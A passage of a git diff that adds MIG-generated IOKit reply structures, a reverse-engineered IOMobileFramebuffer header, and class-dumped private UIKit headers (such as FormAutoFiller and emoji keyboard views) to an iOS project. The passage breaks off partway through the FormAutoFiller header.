processed data */ + } __Reply__io_registry_get_root_entry_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + kern_return_t result; + } __Reply__io_registry_entry_set_properties_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + boolean_t inPlane; + } __Reply__io_registry_entry_in_plane_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + uint32_t retainCount; + } __Reply__io_object_get_retain_count_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + uint32_t busyState; + } __Reply__io_service_get_busy_state_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__io_service_wait_quiet_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t iterator; + /* end of the kernel processed data */ + } __Reply__io_registry_entry_create_iterator_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + boolean_t is_valid; + } __Reply__io_iterator_is_valid_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t matchingOffset; /* MiG doesn't use it */ + mach_msg_type_number_t matchingCnt; + char matching[512]; + } __Reply__io_make_matching_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + kern_return_t result; + } __Reply__io_catalog_send_data_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__io_catalog_terminate_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_ool_descriptor_t outData; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t outDataCnt; + } __Reply__io_catalog_get_data_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + uint32_t genCount; + } __Reply__io_catalog_get_gen_count_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__io_catalog_module_loaded_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__io_catalog_reset_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__io_service_request_probe_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t nameOffset; /* MiG doesn't use it */ + mach_msg_type_number_t nameCnt; + char name[128]; + } __Reply__io_registry_entry_get_name_in_plane_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + boolean_t matches; + } __Reply__io_service_match_property_table_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t outputCnt; + io_user_scalar_t output[16]; + } __Reply__io_async_method_scalarI_scalarO_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t outputCnt; + char output[4096]; + } __Reply__io_async_method_scalarI_structureO_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__io_async_method_scalarI_structureI_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t outputCnt; + char output[4096]; + } __Reply__io_async_method_structureI_structureO_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t notification; + /* end of the kernel processed data */ + } __Reply__io_service_add_notification_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t notification; + /* end of the kernel processed data */ + } __Reply__io_service_add_interest_notification_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__io_service_acknowledge_notification_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t semaphore; + /* end of the kernel processed data */ + } __Reply__io_connect_get_notification_semaphore_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__io_connect_unmap_memory_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t locationOffset; /* MiG doesn't use it */ + mach_msg_type_number_t locationCnt; + char location[128]; + } __Reply__io_registry_entry_get_location_in_plane_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_ool_descriptor_t properties; + /* end of the kernel processed data */ + NDR_record_t NDR; + mach_msg_type_number_t propertiesCnt; + } __Reply__io_registry_entry_get_property_recursively_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + uint64_t state; + uint32_t busy_state; + uint64_t accumulated_busy_time; + } __Reply__io_service_get_state_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t existing; + /* end of the kernel processed data */ + NDR_record_t NDR; + kern_return_t result; + } __Reply__io_service_get_matching_services_ool_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + kern_return_t result; + boolean_t matches; + } __Reply__io_service_match_property_table_ool_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t notification; + /* end of the kernel processed data */ + NDR_record_t NDR; + kern_return_t result; + } __Reply__io_service_add_notification_ool_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t class_nameOffset; /* MiG doesn't use it */ + mach_msg_type_number_t class_nameCnt; + char class_name[128]; + } __Reply__io_object_get_superclass_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t class_nameOffset; /* MiG doesn't use it */ + mach_msg_type_number_t class_nameCnt; + char class_name[128]; + } __Reply__io_object_get_bundle_identifier_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + /* start of the kernel processed data */ + mach_msg_body_t msgh_body; + mach_msg_port_descriptor_t connection; + /* end of the kernel processed data */ + NDR_record_t NDR; + kern_return_t result; + } __Reply__io_service_open_extended_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_vm_address_t address; + mach_vm_size_t size; + } __Reply__io_connect_map_memory_into_task_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + } __Reply__io_connect_unmap_memory_from_task_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t scalar_outputCnt; + uint64_t scalar_output[16]; + mach_msg_type_number_t inband_outputCnt; + char inband_output[4096]; + mach_vm_size_t ool_output_size; + } __Reply__io_connect_method_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + mach_msg_type_number_t scalar_outputCnt; + uint64_t scalar_output[16]; + mach_msg_type_number_t inband_outputCnt; + char inband_output[4096]; + mach_vm_size_t ool_output_size; + } __Reply__io_connect_async_method_t; +#ifdef __MigPackStructs +#pragma pack() +#endif + +#ifdef __MigPackStructs +#pragma pack(4) +#endif + typedef struct { + mach_msg_header_t Head; + NDR_record_t NDR; + kern_return_t RetCode; + uint64_t entry_id; + } __Reply__io_registry_entry_get_registry_entry_id_t; +#ifdef __MigPackStructs +#pragma pack() +#endif +#endif /* !__Reply__iokit_subsystem__defined */ + +/* union of all replies */ + +#ifndef __ReplyUnion__iokit_subsystem__defined +#define __ReplyUnion__iokit_subsystem__defined +union __ReplyUnion__iokit_subsystem { + __Reply__io_object_get_class_t Reply_io_object_get_class; + __Reply__io_object_conforms_to_t Reply_io_object_conforms_to; + __Reply__io_iterator_next_t Reply_io_iterator_next; + __Reply__io_iterator_reset_t Reply_io_iterator_reset; + __Reply__io_service_get_matching_services_t Reply_io_service_get_matching_services; + __Reply__io_registry_entry_get_property_t Reply_io_registry_entry_get_property; + __Reply__io_registry_create_iterator_t Reply_io_registry_create_iterator; + __Reply__io_registry_iterator_enter_entry_t Reply_io_registry_iterator_enter_entry; + __Reply__io_registry_iterator_exit_entry_t Reply_io_registry_iterator_exit_entry; + __Reply__io_registry_entry_from_path_t Reply_io_registry_entry_from_path; + __Reply__io_registry_entry_get_name_t Reply_io_registry_entry_get_name; + __Reply__io_registry_entry_get_properties_t Reply_io_registry_entry_get_properties; + __Reply__io_registry_entry_get_property_bytes_t Reply_io_registry_entry_get_property_bytes; + __Reply__io_registry_entry_get_child_iterator_t Reply_io_registry_entry_get_child_iterator; + __Reply__io_registry_entry_get_parent_iterator_t Reply_io_registry_entry_get_parent_iterator; + __Reply__io_service_open_t Reply_io_service_open; + __Reply__io_service_close_t Reply_io_service_close; + __Reply__io_connect_get_service_t Reply_io_connect_get_service; + __Reply__io_connect_set_notification_port_t Reply_io_connect_set_notification_port; + __Reply__io_connect_map_memory_t Reply_io_connect_map_memory; + __Reply__io_connect_add_client_t Reply_io_connect_add_client; + __Reply__io_connect_set_properties_t Reply_io_connect_set_properties; + __Reply__io_connect_method_scalarI_scalarO_t Reply_io_connect_method_scalarI_scalarO; + __Reply__io_connect_method_scalarI_structureO_t Reply_io_connect_method_scalarI_structureO; + __Reply__io_connect_method_scalarI_structureI_t Reply_io_connect_method_scalarI_structureI; + __Reply__io_connect_method_structureI_structureO_t Reply_io_connect_method_structureI_structureO; + __Reply__io_registry_entry_get_path_t Reply_io_registry_entry_get_path; + __Reply__io_registry_get_root_entry_t Reply_io_registry_get_root_entry; + __Reply__io_registry_entry_set_properties_t Reply_io_registry_entry_set_properties; + __Reply__io_registry_entry_in_plane_t Reply_io_registry_entry_in_plane; + __Reply__io_object_get_retain_count_t Reply_io_object_get_retain_count; + __Reply__io_service_get_busy_state_t Reply_io_service_get_busy_state; + __Reply__io_service_wait_quiet_t Reply_io_service_wait_quiet; + __Reply__io_registry_entry_create_iterator_t Reply_io_registry_entry_create_iterator; + __Reply__io_iterator_is_valid_t Reply_io_iterator_is_valid; + __Reply__io_make_matching_t Reply_io_make_matching; + __Reply__io_catalog_send_data_t Reply_io_catalog_send_data; + __Reply__io_catalog_terminate_t Reply_io_catalog_terminate; + __Reply__io_catalog_get_data_t Reply_io_catalog_get_data; + __Reply__io_catalog_get_gen_count_t Reply_io_catalog_get_gen_count; + __Reply__io_catalog_module_loaded_t Reply_io_catalog_module_loaded; + __Reply__io_catalog_reset_t Reply_io_catalog_reset; + __Reply__io_service_request_probe_t Reply_io_service_request_probe; + __Reply__io_registry_entry_get_name_in_plane_t Reply_io_registry_entry_get_name_in_plane; + __Reply__io_service_match_property_table_t Reply_io_service_match_property_table; + __Reply__io_async_method_scalarI_scalarO_t Reply_io_async_method_scalarI_scalarO; + __Reply__io_async_method_scalarI_structureO_t Reply_io_async_method_scalarI_structureO; + __Reply__io_async_method_scalarI_structureI_t Reply_io_async_method_scalarI_structureI; + __Reply__io_async_method_structureI_structureO_t Reply_io_async_method_structureI_structureO; + __Reply__io_service_add_notification_t Reply_io_service_add_notification; + __Reply__io_service_add_interest_notification_t Reply_io_service_add_interest_notification; + __Reply__io_service_acknowledge_notification_t Reply_io_service_acknowledge_notification; + __Reply__io_connect_get_notification_semaphore_t Reply_io_connect_get_notification_semaphore; + __Reply__io_connect_unmap_memory_t Reply_io_connect_unmap_memory; + __Reply__io_registry_entry_get_location_in_plane_t Reply_io_registry_entry_get_location_in_plane; + __Reply__io_registry_entry_get_property_recursively_t Reply_io_registry_entry_get_property_recursively; + __Reply__io_service_get_state_t Reply_io_service_get_state; + __Reply__io_service_get_matching_services_ool_t Reply_io_service_get_matching_services_ool; + __Reply__io_service_match_property_table_ool_t Reply_io_service_match_property_table_ool; + __Reply__io_service_add_notification_ool_t Reply_io_service_add_notification_ool; + __Reply__io_object_get_superclass_t Reply_io_object_get_superclass; + __Reply__io_object_get_bundle_identifier_t Reply_io_object_get_bundle_identifier; + __Reply__io_service_open_extended_t Reply_io_service_open_extended; + __Reply__io_connect_map_memory_into_task_t Reply_io_connect_map_memory_into_task; + __Reply__io_connect_unmap_memory_from_task_t Reply_io_connect_unmap_memory_from_task; + __Reply__io_connect_method_t Reply_io_connect_method; + __Reply__io_connect_async_method_t Reply_io_connect_async_method; + __Reply__io_registry_entry_get_registry_entry_id_t Reply_io_registry_entry_get_registry_entry_id; +}; +#endif /* !__RequestUnion__iokit_subsystem__defined */ + +#ifndef subsystem_to_name_map_iokit +#define subsystem_to_name_map_iokit \ + { "io_object_get_class", 2800 },\ + { "io_object_conforms_to", 2801 },\ + { "io_iterator_next", 2802 },\ + { "io_iterator_reset", 2803 },\ + { "io_service_get_matching_services", 2804 },\ + { "io_registry_entry_get_property", 2805 },\ + { "io_registry_create_iterator", 2806 },\ + { "io_registry_iterator_enter_entry", 2807 },\ + { "io_registry_iterator_exit_entry", 2808 },\ + { "io_registry_entry_from_path", 2809 },\ + { "io_registry_entry_get_name", 2810 },\ + { "io_registry_entry_get_properties", 2811 },\ + { "io_registry_entry_get_property_bytes", 2812 },\ + { "io_registry_entry_get_child_iterator", 2813 },\ + { "io_registry_entry_get_parent_iterator", 2814 },\ + { "io_service_open", 2815 },\ + { "io_service_close", 2816 },\ + { "io_connect_get_service", 2817 },\ + { "io_connect_set_notification_port", 2818 },\ + { "io_connect_map_memory", 2819 },\ + { "io_connect_add_client", 2820 },\ + { "io_connect_set_properties", 2821 },\ + { "io_connect_method_scalarI_scalarO", 2822 },\ + { "io_connect_method_scalarI_structureO", 2823 },\ + { "io_connect_method_scalarI_structureI", 2824 },\ + { "io_connect_method_structureI_structureO", 2825 },\ + { "io_registry_entry_get_path", 2826 },\ + { "io_registry_get_root_entry", 2827 },\ + { "io_registry_entry_set_properties", 2828 },\ + { "io_registry_entry_in_plane", 2829 },\ + { "io_object_get_retain_count", 2830 },\ + { "io_service_get_busy_state", 2831 },\ + { "io_service_wait_quiet", 2832 },\ + { "io_registry_entry_create_iterator", 2833 },\ + { "io_iterator_is_valid", 2834 },\ + { "io_make_matching", 2835 },\ + { "io_catalog_send_data", 2836 },\ + { "io_catalog_terminate", 2837 },\ + { "io_catalog_get_data", 2838 },\ + { "io_catalog_get_gen_count", 2839 },\ + { "io_catalog_module_loaded", 2840 },\ + { "io_catalog_reset", 2841 },\ + { "io_service_request_probe", 2842 },\ + { "io_registry_entry_get_name_in_plane", 2843 },\ + { "io_service_match_property_table", 2844 },\ + { "io_async_method_scalarI_scalarO", 2845 },\ + { "io_async_method_scalarI_structureO", 2846 },\ + { "io_async_method_scalarI_structureI", 2847 },\ + { "io_async_method_structureI_structureO", 2848 },\ + { "io_service_add_notification", 2849 },\ + { "io_service_add_interest_notification", 2850 },\ + { "io_service_acknowledge_notification", 2851 },\ + { "io_connect_get_notification_semaphore", 2852 },\ + { "io_connect_unmap_memory", 2853 },\ + { "io_registry_entry_get_location_in_plane", 2854 },\ + { "io_registry_entry_get_property_recursively", 2855 },\ + { "io_service_get_state", 2856 },\ + { "io_service_get_matching_services_ool", 2857 },\ + { "io_service_match_property_table_ool", 2858 },\ + { "io_service_add_notification_ool", 2859 },\ + { "io_object_get_superclass", 2860 },\ + { "io_object_get_bundle_identifier", 2861 },\ + { "io_service_open_extended", 2862 },\ + { "io_connect_map_memory_into_task", 2863 },\ + { "io_connect_unmap_memory_from_task", 2864 },\ + { "io_connect_method", 2865 },\ + { "io_connect_async_method", 2866 },\ + { "io_registry_entry_get_registry_entry_id", 2867 } +#endif + +#ifdef __AfterMigUserHeader +__AfterMigUserHeader +#endif /* __AfterMigUserHeader */ + +#endif /* _iokit_user_ */ + +#endif /* !__LP64__ */ diff --git a/igor/headers/IOMobileFramebuffer/IOMobileFramebuffer.h b/igor/headers/IOMobileFramebuffer/IOMobileFramebuffer.h new file mode 100644 index 0000000..4ff1f9d --- /dev/null +++ b/igor/headers/IOMobileFramebuffer/IOMobileFramebuffer.h @@ -0,0 +1,81 @@ +/* + * IOMobileFramebuffer.h + * iPhoneVNCServer + * + * Created by Steven Troughton-Smith on 25/08/2008. + * Copyright 2008 Steven Troughton-Smith. All rights reserved. + * + * Disassembly work by Zodttd + * + */ + +#include +#include +#include + +#include // For mprotect +#include + +#define kIOMobileFramebufferError 0xE0000000 + +typedef kern_return_t IOMobileFramebufferReturn; +typedef io_service_t IOMobileFramebufferService; +typedef io_connect_t IOMobileFramebufferConnection; + +/*! @function IOMobileFramebufferOpen + @abstract Basically wraps IOServiceOpen, works the same way as the documented method + @param service The io_service_t you get from IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOMobileFramebuffer")) + @param owningTask Use mach_task_self() + @param type Currently unknown + @param connection A pointer to your new connection + @result A IOMobileFramebufferReturn error code. */ + +IOMobileFramebufferReturn +IOMobileFramebufferOpen( + IOMobileFramebufferService service, + task_port_t owningTask, + unsigned int type, + IOMobileFramebufferConnection * connection ); + +/*! @function IOMobileFramebufferGetLayerDefaultSurface + @abstract Gets the CALayer associated with the display + @param connection Your connection pointer + @param surface Your surface ID + @param layer A pointer to your new layer + @result A IOMobileFramebufferReturn error code. */ + +IOMobileFramebufferReturn +IOMobileFramebufferGetLayerDefaultSurface( + IOMobileFramebufferConnection connection, + int surface, + CoreSurfaceBufferRef *ptr); + +IOMobileFramebufferReturn +IOMobileFramebufferSwapBegin( + IOMobileFramebufferConnection connection, + int *token); + +IOMobileFramebufferReturn +IOMobileFramebufferSwapEnd( + IOMobileFramebufferConnection connection); + +IOMobileFramebufferReturn +IOMobileFramebufferSwapSetLayer( + IOMobileFramebufferConnection connection, + int layerid, + CoreSurfaceBufferRef surface); + +IOMobileFramebufferReturn +IOMobileFramebufferSwapWait( + IOMobileFramebufferConnection connection, + int token, + int something); + +//IOMobileFramebufferReturn +//IOMobileFramebufferGetID( +// IOMobileFramebufferService *connect, +// CFTypeID *id ); + +/* + IOMobileFramebufferGetDisplaySize(io_connect_t connect, CGSize *t); +*/ diff --git a/igor/headers/dumpedUIKit/ABHelper.h b/igor/headers/dumpedUIKit/ABHelper.h new file mode 100644 index 0000000..586f4bf --- /dev/null +++ b/igor/headers/dumpedUIKit/ABHelper.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +__attribute__((visibility("hidden"))) +@interface ABHelper : NSObject { +@private + void* _ab; + void* _me; +} ++(id)sharedHelper; +-(id)initHelper; +-(void)dealloc; +-(void*)me; +@end + diff --git a/igor/headers/dumpedUIKit/AddressBookMatch.h b/igor/headers/dumpedUIKit/AddressBookMatch.h new file mode 100644 index 0000000..4d46e84 --- /dev/null +++ b/igor/headers/dumpedUIKit/AddressBookMatch.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSString; + +__attribute__((visibility("hidden"))) +@interface AddressBookMatch : NSObject { +@private + NSString* value; + NSString* property; + NSString* key; + int identifier; +} +-(id)initWithValue:(id)value property:(id)property key:(id)key identifier:(int)identifier; +-(id)description; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/BrowserDocumentController.h b/igor/headers/dumpedUIKit/BrowserDocumentController.h new file mode 100644 index 0000000..7dec6e6 --- /dev/null +++ b/igor/headers/dumpedUIKit/BrowserDocumentController.h @@ -0,0 +1,15 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSObject.h" + + +@protocol BrowserDocumentController +-(BOOL)isAutoFilling; +-(void)webViewFormEditedStatusHasChanged:(id)changed; +@end + diff --git a/igor/headers/dumpedUIKit/CALayer.h b/igor/headers/dumpedUIKit/CALayer.h new file mode 100644 index 0000000..e550cb0 --- /dev/null +++ b/igor/headers/dumpedUIKit/CALayer.h @@ -0,0 +1,14 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +@interface CALayer (TextEffectsLayerOrdering) +-(int)compareTextEffectsOrdering:(id)ordering; +@end + diff --git a/igor/headers/dumpedUIKit/CandWord.h b/igor/headers/dumpedUIKit/CandWord.h new file mode 100644 index 0000000..63c6aeb --- /dev/null +++ b/igor/headers/dumpedUIKit/CandWord.h @@ -0,0 +1,28 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIKit-Structs.h" +#import "NSCopying.h" + +@class CandWordString; + +@interface CandWord : NSObject { + CandWordString* _word; +} +-(id)initWithWord:(id)word; +-(void)dealloc; +-(id)word; +-(const char*)wordUTF8String; +-(id)insertion; +-(unsigned)deleteCount; +-(unsigned)wordOriginFeedbackID; +-(id)copyWithZone:(NSZone*)zone; +-(BOOL)isEqual:(id)equal; +-(unsigned)hash; +@end + diff --git a/igor/headers/dumpedUIKit/CandWordString.h b/igor/headers/dumpedUIKit/CandWordString.h new file mode 100644 index 0000000..7863064 --- /dev/null +++ b/igor/headers/dumpedUIKit/CandWordString.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSData, NSString; + +__attribute__((visibility("hidden"))) +@interface CandWordString : NSObject { +@private + NSString* _string; + char* _UTF8String; + NSData* _utf8Data; +} +-(id)initWithString:(id)string; +-(void)dealloc; +-(id)string; +-(const char*)UTF8String; +@end + diff --git a/igor/headers/dumpedUIKit/EmojiPageControl.h b/igor/headers/dumpedUIKit/EmojiPageControl.h new file mode 100644 index 0000000..3428fc2 --- /dev/null +++ b/igor/headers/dumpedUIKit/EmojiPageControl.h @@ -0,0 +1,19 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIPageControl.h" + + +__attribute__((visibility("hidden"))) +@interface EmojiPageControl : UIPageControl { +} +-(id)_pageIndicatorImageForPage:(int)page; +-(id)_pageIndicatorCurrentImageForPage:(int)page; +-(void)_setCurrentPage:(int)page; +@end + diff --git a/igor/headers/dumpedUIKit/EmojiScrollView.h b/igor/headers/dumpedUIKit/EmojiScrollView.h new file mode 100644 index 0000000..8d31029 --- /dev/null +++ b/igor/headers/dumpedUIKit/EmojiScrollView.h @@ -0,0 +1,27 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIScrollView.h" + + +__attribute__((visibility("hidden"))) +@interface EmojiScrollView : UIScrollView { +@private + double _delay; + BOOL _canDragToScroll; +} +@property(assign) double delay; +-(id)initWithFrame:(CGRect)frame; +-(double)_touchDelayForScrollDetection; +-(void)setContentOffset:(CGPoint)offset; +-(void)_stopLookingForScrolling; +-(void)_lookForScrolling; +-(BOOL)touchesShouldBegin:(id)touches withEvent:(id)event inContentView:(id)contentView; +-(BOOL)touchesShouldCancelInContentView:(id)touches; +@end + diff --git a/igor/headers/dumpedUIKit/FormAutoFiller.h b/igor/headers/dumpedUIKit/FormAutoFiller.h new file mode 100644 index 0000000..63f7de2 --- /dev/null +++ b/igor/headers/dumpedUIKit/FormAutoFiller.h @@ -0,0 +1,56 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSMutableArray, NSMutableDictionary, DOMElement, DOMHTMLInputElement, WebFrame; + +__attribute__((visibility("hidden"))) +@interface FormAutoFiller : NSObject { +@private + WebFrame* _frame; + DOMElement* _form; + int _formType; + DOMHTMLInputElement* _usernameElement; + DOMHTMLInputElement* _passwordElement; + NSMutableArray* _autoFilledControls; + NSMutableDictionary* _fieldsFilledFromAB; + NSMutableArray* _continuationFields; + BOOL _hasAutoFilled; +} ++(id)autoFillerForFrame:(id)frame form:(id)form create:(BOOL)create; ++(id)matchForControl:(id)control rep:(id)rep fieldLabels:(id)labels useFieldName:(BOOL)name foundByPageScan:(BOOL*)scan; ++(id)abMatchInFrame:(id)frame form:(id)form fieldName:(id)name; ++(BOOL)isContinuationField:(id)field inFrame:(id)frame form:(id)form; ++(void)recordABMatch:(id)match inFrame:(id)frame form:(id)form fieldName:(id)name; ++(void)clearAutoFillStateForFrame:(id)frame; ++(void)clearAutoFilledTextField:(id)field 